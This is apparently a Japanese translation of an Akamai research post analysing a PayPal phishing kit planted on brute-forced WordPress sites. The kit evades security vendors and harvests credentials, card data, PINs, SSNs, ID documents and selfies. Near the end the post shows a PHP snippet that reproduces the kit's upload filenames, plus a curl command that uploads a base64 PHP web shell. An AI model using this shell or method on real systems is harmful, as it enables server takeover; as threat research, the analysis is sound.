すべての盗み取りを試みるキット:詐欺師が PayPal の既知のセキュリティ対策を模倣
エグゼクティブサマリー
Akamai の研究者たちは、攻撃者が良性の WordPress サイトに寄生し、包括的な PayPal フィッシング詐欺を実行している証拠を発見しました。
攻撃者は、既存の悪性ではない WordPress サイトに総当たりで侵入し、回避を維持する方法として自身のフィッシングキットを注入します。
このキットは、新しいセキュリティ対策を模倣することで被害者の ID や情報に実質的にアクセスしようとするものです。銀行情報や E メールのパスワードだけでなく、公的書類や被害者の写真の提出を要求します。
このように極めて包括的なレベルで被害者の ID が窃盗されると、資金洗浄や脱税、その他のサイバー犯罪のための匿名性保持などに利用されるおそれがあります。
個人情報の窃盗による被害は 2021 年には 4,200 万人が被害総額は 520 億ドルに達しました。
このキットは、あらゆるソーシャルエンジニアリングのテクニックを使って被害者を騙し、さらに多くの機密情報を提供するよう誘導します。
このフィッシングキットの特徴の 1 つは、接続する IP アドレスが特定のドメインと一致しないか、またはその接続元がセキュリティ組織でないことを確認するために、複数の異なるチェックを設けてセキュリティ企業を直接回避しようとする点です。
このサイトの背後にいる攻撃者は、フィッシングキットをアップロードするためにファイル管理プラグインを使用しています。この仕組みによって、WordPress サイトをさらに悪用できる点が巧妙です。
フィッシングキットの作成者は、htaccess を使って URL を書き換え、URL の末尾に .php を付けないようにしています。これにより、フィッシングページがさらに洗練されて、プロフェッショナルな見た目になります。
概要
フィッシングは、サイバー攻撃や詐欺に使われる非常に一般的な手口です。 およそ 50% の米国市民が、2020 年から 2022 年にかけて個人情報窃盗の被害に遭っています。狡猾な攻撃者がこの方面で高度な技術を無数に駆使するようになったためと考えられます。以下に示すようなオンライン詐欺やソーシャルエンジニアリング手法に対する認識が高まっているにもかかわらず、この数字は増加の一途をたどっています。2021 年には個人情報の窃盗による 被害額は 520 億ドル に達したと報告されています。こうした詐欺が人々の日常生活にいかに大きな影響を及ぼしているかがうかがえます。
フィッシングは、古典的なナイジェリアの王子様詐欺よりも正当であるかのように見せかけるために、見た目や使い方にいくつかの工夫が凝らされています。早朝に WordPress のハニーポットを調べたところ、その一例が見つかりました。PayPal の詐欺サイトが .zip 形式のファイルを公開していたのです。このファイル(解凍すると paypal_crax_original.zip という名前になる)には、PHP のソースコードからフォントファイルまで、150 以上のファイルが収録されています。
こうした偽のログインページで見られる典型的なクレジットカード情報やクレデンシャルの窃取にとどまらず、このインシデントは、被害者が自分から提供する完全な個人情報の窃取を目的としています。本投稿では、ハニーポットへの侵入方法、検知の回避方法、そして最も重要な個人情報の収集方法など、このインシデントを徹底的に検証します。
感染ベクトル
まず、サンプルは、当社が設定した WordPress の管理者認証情報を推測または総当たりすることによって、当社のハニーポットに到達しました。このキットは、インターネットで使用される一般的な認証情報とパスワードの組み合わせのリストを使用してログインします。当社のハニーポットは単純な WordPress のセットアップで、脆弱なプラグインの悪用または脆弱な管理者ログイン認証情報のいずれかによって、意図的に侵害を許すようになっています。この攻撃者が他の WordPress サイトをホストとして「寄生」する方法がこれです。この方法では、認証情報を取得し、フィッシングキットをアップロードするために使用するファイル管理プラグインをインストールします。以下のログ(図 1 および 2)に、これらの手順を見ることができます。
IP レピュテーションと検証の接続
このフィッシングキットの特徴の 1 つは、IP アドレスを特定のドメインと相互参照することで検知を回避しようとしている点です。このキットは、接続 IP アドレスが特定のドメインと一致しないこと、またはセキュリティ組織から発信されていないことを確認するために、接続 IP アドレスに対して各種のチェックを複数実行します(図 3)。このチェック方法は、接続 IP アドレスをソースファイルにハードコードされた静的 IP 範囲およびドメインのリストと比較するというものです。こうした IP 範囲は、Google、Microsoft、Sucuri などの企業のネットワークブロックです。さらに、コードに埋め込まれた API キーを使用して IP レピュテーションサイトと IP アドレスを照合し、悪性 IP としてフラグが立てられている可能性のある IP を探します。
フィッシングサイトの外観
このキットの最も際立った点の 1 つは、URL に至るまでインターフェースが完璧であることです。フィッシングキットの作成者は htaccess を使って URL を書き換え、URL の末尾に .php を付けないよう工夫しています(図 4)。こうすることで、より洗練された RESTful アプリケーションのように見えます。リンクが http://site/app/login.php ではなく http://site/app/login として表示されれば、サイトはより洗練され、プロフェッショナルに見えます。
データ収集
まず、被害者には captcha によるセキュリティチャレンジが表示されます(図 5)。この操作は、正規の PayPal ログインページのように見せるために重要です。どこかのサイト、特に金融サイトにログインする際は当然に複数のセキュリティステップを踏むものだとユーザーは思っているからです。
最初の captcha チャレンジが承認されると(入力内容が一致するかチェックされます)、被害者は電子メールアドレスとパスワードの入力を求められます(図 6 と 7)。
通常、ほとんどのフィッシング攻撃はここまでしかしません、このキットはさらに踏み込んで、後述するようにさらに多くの情報を盗み出します。このキットは、アカウントに通常とは異なる操作が行われたと説明することで信頼を得ようとします。このような説明は、フィッシングされる側にとっては想定されていないものなので、被害者は信頼してしまいます(図 8)。
次のステップは、言うまでもなくクレジットカード番号の確認です。通常、確認には郵便番号や CCV 番号で十分ですが、このキットは被害者にすべてのクレジットカード情報を入力するよう求めます(図 9)。この時点で、攻撃者はかなり踏み込んでいます。ここまで来たら、今さら被害者の個人情報の収集を中止することはありません。以下に説明するように、もちろん止めません。
ここからが本当にすごいところです。次のプロンプトでは、ATM の暗証番号(PIN)、社会保障番号、母親の旧姓を収集します(図 10)。この情報は、一般的なフィッシングキットが収集する範囲をはるかに超えています。
メールアドレスを PayPal アカウントにリンクさせない理由はありません。このリンクによって、攻撃者はあなたがリンクさせることにしたどのメールアカウントへのアクセストークンも得ることができます。この攻撃者は作成したメールサンプルを使用して、認証情報を提示しています(図 11)。さらに調査を進めると、Gamad.com というサイトはしばらく前からオフラインになっていました。当社では、このサイトが認証情報を収集するために設定されたか、侵害された合法的なサービスであると推測しています。
この時点で攻撃者は、認証情報、クレジットカードの全情報、社会保障番号などを把握しています。ですが、まだ完了ではありません。
次の画面では、政府 ID を収集する目的で、被害者の身元を確認するために自撮り写真を要求します(図 12 と 13)。これは、IRS のような場所で使用されている、さらに新しいセキュリティ技術で、ここまでたどり着いた被害者から、さらに信頼を得ることができます。キットはカメラにアクセスして自撮りすることができないにもかかわらず(この検証技術が合法的に使用された場合に通常見られるように)、実際にユーザーからの信頼がさらに高まる可能性があります。このような技術を採用している組織は、かなり高度なセキュリティプログラムを導入していることが少なくないため、正当性を証明するものと捉えられるのです。
公的証明書をアップロードし、それを確認するために自撮り写真を撮ることは、被害者にとってはクレジットカード情報を失うよりも大きな問題です。被害者の名前で暗号通貨取引口座を開設するために使用されるおそれがあるためです。このような口座は、資金洗浄や脱税に使われたり、他のサイバー犯罪に利用できる匿名性を得るために使われるかもしれません。
ここまでで被害者は、個人情報を徹底的に盗むために必要な、あらゆる種類の機密情報を提供したことになります(図 14)。
ファイルアップロードの悪用
また、ファイルアップロード機能には、他の攻撃者がウェブシェルをアップロードし、感染したサイトを乗っ取るために利用できる脆弱性も含まれています。ファイル名はタイムスタンプの md5sum を使って作成されます。使用されるタイムスタンプはミリ秒単位で正確ですが、これは攻撃者がアップロードした Web シェルのファイル名を探す際にチェックするための、検索可能な md5sum のキー空間を攻撃者に与える可能性があります。
ファイル作成コードは、UNIX のエポックからの日付と時刻を秒単位で使用し、ファイル名の md5sum を生成します。これにより、ファイルをアップロードしてから終了するまで、検索可能なキー空間が得られます。その時間を利用して、以下のオリジナルのコードから変更した関数を使用して、md5 ハッシュのレインボーテーブルを作成します。次に、200 レスポンスの GET 要求でそれぞれのハッシュをチェックします。
<?php
$t=microtime(true);
$micro=sprintf("%06d",($t - floor($t))* 1000000);
$today=date("m.d.y.h.i.s.U".$micro,$t);
$name=hash('md5',$today);
echo $today,"->",$name ;
?>
$ php time.php
Timestamp :06.24.22.09.40.31.1656078031551004 md5sum :1b0d96dbd15a1885b905c0bdb8c1e9bc
md5 sum 用に作成される文字列は、日付、エポック時間、マイクロ秒で構成されます。この文字列を作成するためには、bash の関数 expr `date +%s%N` / 1000 を使用して、日付と時刻を秒単位まで連結します。その後、ファイルが最初にサーバーにアップロードされてから完了するまでのすべての時間増分を生成します。実際にテストしてみたところ、ネットワークレイテンシーが大きくなると、キー空間も大きくなりました。各秒は、マイクロ秒に基づいて 100 万個の md5sum ファイル名を持つ可能性があります。これは、ファイルアップロードを開始してから完了するまでに数秒しか経過していなければ、比較的小さなキー空間です。十分な時間があれば、総当たりすることも可能です。
悪用
ファイル名が見つかったら、シンプルな curl スクリプトを用いて、base64 エンコードされた小さな Web シェルをアップロードすることができます。
$ curl -d 'doc_type=Passport&images%5B%5D=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgcGFzc3RocnUoJF9HRVRbJ2knXSk7ID8+%2BCg%3D%3D' -v http://example/tmp/extra/stockers/step7.php
結論
第三者の視点からこのキットを見ると、合法的でないことは明らかだと思われるかもしれません。PayPal のサイトを最近見たことがあれば、これが実際のページではないことがわかります。PayPal は、クレジットカードと銀行情報の両方に直接リンクし、ログインにはワンタイムパスワードを使用します。ATM の暗証番号を尋ねることはありません。しかし、ソーシャルエンジニアリングの要素が、このキットをうまく機能させているのです。
昨今、人々はブランドや企業のセキュリティ対策を判断材料にしています。さまざまな方法で本人確認をすることは当たり前になっているだけでなく、金融やヘルスケア関連企業など、極めて機密性の高い情報を扱うサイトにログインする際にも、本人確認が期待されています。
まず captcha を使用し、アカウントに不審な動きがあったことを被害者に伝えます。公的身分証明のような「新たなセキュリティ対策」を活用することで「信頼」を強化し、あたかも合法的なシナリオであるかのように被害者に錯覚させます。ID の安全性を確保するのと同じ方法が、最終的には、クレジットカード番号だけでなく、暗号資産(仮想通貨)口座や、攻撃者が手に入れたいその他のあらゆるものまで、ID を丸ごと盗むことに繋がるのです。
セキュリティ対策が進歩するにつれ、攻撃者も進歩し、収集できる個人情報の量も増えています。メディアや職場でセキュリティに関する報道が増えるにつれ、人々の意識は以前よりも高まっていますが、何かしらの利益を得ようとする犯罪者にとってはかえって有利な状況となっています。